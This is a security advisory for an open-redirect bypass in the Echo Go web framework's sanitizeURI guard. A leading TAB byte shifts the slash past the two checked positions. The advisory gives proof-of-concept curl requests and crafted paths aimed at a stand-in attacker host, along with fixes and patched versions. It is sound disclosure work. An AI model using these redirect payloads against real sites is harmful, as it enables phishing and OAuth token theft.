GHSA-v753-g4cw-jm48

Description

## Summary Echo's dedicated open-redirect guard, `sanitizeURI`, decides whether a redirect target is a local path by inspecting exactly two byte positions: `uri[0]` and `uri[1]`. If the value begins with a control character such as a tab or a newline, followed by a separator pair, the guard does not fire and the value is written to the `Location` header unchanged. Browsers remove tab and newline characters from URLs before parsing them, and treat a backslash as a forward slash for HTTP and HTTPS URLs. A `Location` value of ``/\t/attacker.example`` is therefore resolved by the browser as an absolute URL on `attacker.example`. Confirmed end to end in a headless browser. ## Technical background ### The guard `middleware/slash.go:144` (duplicated verbatim at `echo.go:958`): ```go func sanitizeURI(uri string) string { // double slash `\\`, `//` or even `\/` is absolute uri for browsers and by redirecting request to that uri // we are vulnerable to open redirect attack. so replace all slashes from the beginning with single slash if len(uri) > 1 && (uri[0] == '\\' || uri[0] == '/') && (uri[1] == '\\' || uri[1] == '/') { uri = "/" + strings.TrimLeft(uri, `/\`) } return uri } ``` The condition is anchored at absolute offsets 0 and 1. It cannot see a separator that has been shifted by one byte. ### Data flow 1. `RemoveTrailingSlash` (`middleware/slash.go:112-140`) reads `url.Path`, which `net/http` has already percent-decoded, strips the trailing slash, and appends the raw query string: ```go path := url.Path ... if l > 0 && strings.HasSuffix(path, "/") { path = path[:l] uri := path if qs != "" { uri += "?" + qs } if config.RedirectCode != 0 { return c.Redirect(config.RedirectCode, sanitizeURI(uri)) // line 132 } ``` 2. `AddTrailingSlash` does the same in the opposite direction at `middleware/slash.go:67`. 3. A request for `/%09/attacker.example/x/` has `url.Path` equal to `"/\t/attacker.example/x/"` (a literal TAB byte). `sanitizeURI` evaluates `uri[0] == '\t'`, the condition is false, and the value passes through untouched. 4. `Context.Redirect` (`context.go:735`) writes it to the `Location` header. Go's header writer removes CR and LF but leaves TAB, which is all that is required. ### Conditional analysis - Guard: `uri[0]` and `uri[1]` are separators. Trust boundary: server-side sanitization of attacker-influenced path data. - Bypass: place a single control byte before the separator pair. The separator moves to index 1 and the guard's second condition (`uri[1]` being a separator) is never reached because the first condition (`uri[0]` being a separator) already failed. - Browser-side trust boundary: the client's URL parser. It is adversary favourable: control characters are stripped and backslashes are normalized before scheme and authority parsing. The attacker does not need any server-side weakness beyond producing the malformed `Location`. Note that the newline variant does not survive: `net/http` replaces CR and LF in header values. TAB does survive, and TAB alone is sufficient because the browser strips it. ## Proof of concept **Attached PoC:** `ECHO-2026-002_poc.zip` (in this directory). Extract it and follow `ECHO-2026-002/README.md` for the full walkthrough. The archive contains a self-contained Go module (`go.mod`, `go.sum`, `main.go`, `README.md`). [ECHO-2026-002_poc.zip](https://github.com/user-attachments/files/32133975/ECHO-2026-002_poc.zip) Quick start: ```bash unzip ECHO-2026-002_poc.zip cd ECHO-2026-002 # edit go.mod: point the replace directive at your Echo checkout sed -i 's|=> .*|=> /absolute/path/to/echo|' go.mod GOFLAGS=-mod=mod go run . # in-process check GOFLAGS=-mod=mod go run . -serve # real listener on 127.0.0.1:18002 ``` ### Environment used for verification - OS: Linux 6.18.33.2-microsoft-standard-WSL2, x86_64 - Go: go1.27.0 linux/amd64 - Target: Echo v5.3.1 (module `github.com/labstack/echo/v5`) - Browser: headless Chromium drove the end-to-end confirmation ### The vulnerable configuration ```go package main import ( "net/http" "github.com/labstack/echo/v5" "github.com/labstack/echo/v5/middleware" ) func main() { e := echo.New() e.Pre(middleware.RemoveTrailingSlashWithConfig(middleware.RemoveTrailingSlashConfig{ RedirectCode: http.StatusMovedPermanently, })) e.GET("/", func(c *echo.Context) error { return c.String(200, "home") }) _ = e.Start("127.0.0.1:18002") } ``` *** ### Reproduction In-process check. The program requests five path shapes and applies the browser URL-parsing steps that matter (strip TAB, LF, CR; treat a backslash as a slash; a leading `//` starts an authority): ```bash GOFLAGS=-mod=mod go run . ``` ``` GET code Location (control chars shown) browser navigates to /normal/path/ 301 /normal/path (victim origin) control: ordinary path, sanitized correctly /%09/attacker.example/x/ 301 /^I/attacker.example/x attacker.example exploit: TAB then slash /%09%5Cattacker.example/x/ 301 /^I\attacker.example/x attacker.example exploit: TAB then backslash /..%09/attacker.example/ 301 /..^I/attacker.example (victim origin) NOT exploitable: TAB is not at index 1 /%09//attacker.example/ 301 /^I//attacker.example (victim origin) NOT exploitable: three slashes is an empty authority RESULT: reproducible. ... ``` `^I` is a literal TAB byte. The last two rows are deliberate negatives, included so the mechanism (the guard reads only `uri[0]` and `uri[1]`) is unambiguous. Over the wire, with the `-serve` variant running on `127.0.0.1:18002`: 1. Show the malformed `Location` on the wire. No backslash is needed for this variant: ```bash curl -s -i --max-time 5 'http://127.0.0.1:18002/%09/attacker.example/x/' | cat -A | head -3 # HTTP/1.1 301 Moved Permanently # Location: /^I/attacker.example/x ``` `cat -A` renders the tab as `^I`, confirming it is a literal byte in the header. 2. Show that LF does NOT work, which proves the mechanism is the guard's fixed byte offsets rather than generic header injection: ```bash curl -s -i --max-time 5 'http://127.0.0.1:18002/%0A/attacker.example/x/' | cat -A | head -3 # Location: / /attacker.example/x (net/http rewrote LF to a space) ``` 3. Confirm a browser leaves the origin. Start any HTTP server on port 18099, then open this URL in a browser: ``` http://127.0.0.1:18002/%09/127.0.0.1:18099/x/ ``` Observed in headless Chromium: ``` finalUrl: http://127.0.0.1:18099/x ``` The browser left the victim origin entirely, so this is a working open redirect, not merely a suspicious header. Exit status `0` means the finding reproduced; `1` means an expectation was violated. ## Impact An attacker can craft a link on the victim domain that redirects the victim to an arbitrary external site. Practical consequences: - Phishing: the trusted domain name appears in the link and in the initial navigation, which defeats the usual "check the domain" advice. - OAuth and SSO token theft: any flow that permits a redirect target on the trusted origin and relies on that origin's redirects being local can be chained to leak authorization codes or access tokens. - Referrer and cache poisoning of downstream logic that treats the victim origin's redirects as trustworthy. The client must follow the redirect (user interaction is required), which is why this is scored Medium rather than High, but open redirects on authentication-adjacent origins routinely escalate in practice. ## Recommended fixes Normalize before deciding, instead of probing two fixed offsets. ```go func sanitizeURI(uri string) string { // Strip control characters that browsers remove before parsing, so they cannot // be used to shift a separator out of the checked positions. uri = strings.Map(func(r rune) rune { if r < 0x20 || r == 0x7f { return -1 } return r }, uri) // Collapse any leading separator run (both slash kinds) to a single slash. if strings.ContainsAny(uri[:min(len(uri), 1)], `/\`) { trimmed := strings.TrimLeft(uri, `/\`) if len(trimmed) != len(uri) { return "/" + trimmed } } return uri } ``` Additional hardening: 1. Reject the request with 400 when the decoded path contains control characters, rather than attempting to sanitize. A path containing a raw TAB or NUL is malformed under RFC 3986 and has no legitimate use. 2. Apply the same normalization to the `Location` value in `Context.Redirect` so every caller benefits, instead of relying on each call site to call `sanitizeURI`. 3. Add a regression test for each variant (`%09/`, `%09%5C`, `%0A/`) against both trailing-slash middlewares. There is currently no test that asserts `sanitizeURI` behavior at all. ## Patches Fixed in `github.com/labstack/echo/v5` v5.4.0 and `github.com/labstack/echo/v4` v4.16.0. The trailing slash middlewares and the static directory redirect percent-encode control characters in the redirect path before collapsing leading slashes, so a browser can no longer be sent to another host. ## Workarounds Use the trailing slash middlewares without `RedirectCode` (the default rewrites the path internally instead of redirecting), or reject request paths that contain control characters before these middlewares.